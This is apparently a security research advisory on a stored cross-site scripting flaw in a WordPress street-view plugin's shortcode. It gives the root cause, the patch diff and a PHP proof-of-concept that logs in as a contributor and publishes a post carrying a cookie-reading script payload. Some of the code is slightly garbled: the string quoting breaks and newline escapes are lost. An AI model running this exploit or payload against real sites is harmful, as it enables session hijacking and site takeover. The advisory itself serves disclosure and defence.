Atomic Edge analysis of CVE-2026-0563:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WP Google Street View plugin for WordPress. The vulnerability affects the ‘wpgsv_map’ shortcode handler, allowing contributors and higher-privileged users to inject malicious scripts that execute when pages containing the shortcode are viewed. The CVSS score of 6.4 reflects the authentication requirement and impact on data confidentiality and integrity.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping in two specific code paths. In the admin/metabox.php file at line 74, the plugin stored user-supplied textarea field values directly via update_post_meta() without sanitization. In the includes/shortcode.php file at line 47 and line 119, the plugin used only esc_attr() for output escaping, which does not prevent HTML/JavaScript execution in certain contexts. The affected parameters include all fields defined in the WPGSV_Validate::$textarea array and the ‘info’ shortcode attribute.
Exploitation requires an authenticated attacker with at least contributor-level access. The attacker creates or edits a post containing the wpgsv_map shortcode with malicious JavaScript payloads in textarea fields or the ‘info’ attribute. For example, [wpgsv_map info=”alert(document.cookie)”] would inject a script. When any user views the compromised post, the browser executes the injected script in the context of the victim’s session.
The patch addresses the vulnerability by applying wp_kses_post() sanitization in three locations. In admin/metabox.php line 74, wp_kses_post() now sanitizes textarea values before storage. In includes/shortcode.php line 47, wp_kses_post() sanitizes textarea metadata before esc_attr() escaping. In includes/shortcode.php line 119, wp_kses_post() sanitizes the ‘info’ shortcode attribute. The wp_kses_post() function strips dangerous HTML tags and attributes, preventing script execution while preserving safe formatting.
Successful exploitation allows attackers to steal session cookies, perform actions as the victim user, deface websites, or redirect users to malicious sites. Since the XSS is stored, a single injection affects all users who view the compromised page. Attackers could escalate privileges by targeting administrator sessions, potentially leading to complete site compromise through plugin/theme installation or code modification.
--- a/wp-google-street-view/admin/metabox.php
+++ b/wp-google-street-view/admin/metabox.php
@@ -71,7 +71,7 @@
if ( in_array($key, WPGSV_Validate::$textarea) ) {
- update_post_meta( $postid, $key, trim($value) );
+ update_post_meta( $postid, $key, wp_kses_post($value) );
}
--- a/wp-google-street-view/includes/shortcode.php
+++ b/wp-google-street-view/includes/shortcode.php
@@ -44,7 +44,12 @@
$metadata = array();
foreach ( $meta as $key => $value ) {
if ( isset( $key ) && in_array( $key, WPGSV_Validate::$fields ) || in_array( $key, WPGSV_Validate::$checkboxes ) || in_array( $key, WPGSV_Validate::$textarea ) ) {
- $metadata[$key] = esc_attr( $value[0] );
+ // Apply wp_kses_post to textarea fields that contain HTML
+ if ( in_array( $key, WPGSV_Validate::$textarea ) ) {
+ $metadata[$key] = esc_attr( wp_kses_post( $value[0] ) );
+ } else {
+ $metadata[$key] = esc_attr( $value[0] );
+ }
}
}
$output = '<div class="wpgsv-app" id="app' . esc_attr( $postId ) . '" ';
@@ -111,7 +116,7 @@
$data_attributes = array(
'data-lat' => esc_attr( $atts['lat'] ),
'data-lng' => esc_attr( $atts['lng'] ),
- 'data-address' => esc_attr( $atts['info'] ),
+ 'data-address' => esc_attr( wp_kses_post( $atts['info'] ) ),
'data-zoom' => esc_attr( $atts['zoom'] ),
'data-type' => esc_attr( $atts['type'] ),
);
--- a/wp-google-street-view/wp-google-street-view.php
+++ b/wp-google-street-view/wp-google-street-view.php
@@ -2,9 +2,10 @@
/*
* Plugin Name: WP Google Street View
+* Plugin URI: https://better-robots.com/product/wp-google-street-view/
* Description: The WP Google Street View allows you to embed Google street View (with virtual tour) & Google Maps maps with high quality markers.
* Author: Pagup
-* Version: 1.1.8
+* Version: 1.1.9
* Author URI: https://pagup.com/
* Text Domain: wp-google-street-view
* Domain Path: /languages/
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0563 - WP Google Street View (with 360° virtual tour) & Google maps + Local SEO <= 1.1.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpgsv_map' Shortcode
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check if login succeeded by looking for dashboard elements
if (strpos($login_response, 'wp-admin-bar') === false) {
die('Login failed. Check credentials.');
}
// Create a new post with malicious wpgsv_map shortcode
$post_data = [
'post_title' => 'XSS Test Post',
'post_content' => '[wpgsv_map info="<script>alert('Atomic Edge XSS Test: '+document.cookie)</script>"]',
'post_status' => 'publish',
'post_type' => 'post'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);
// Extract the post ID from the redirect URL
if (preg_match('/post=([0-9]+)/', curl_getinfo($ch, CURLINFO_EFFECTIVE_URL), $matches)) {
$post_id = $matches[1];
echo "Exploit successful! Post created with ID: $post_idn";
echo "Visit: $target_url/?p=$post_id to trigger the XSS payload.n";
} else {
echo "Post creation may have failed. Check response.n";
}
curl_close($ch);
?>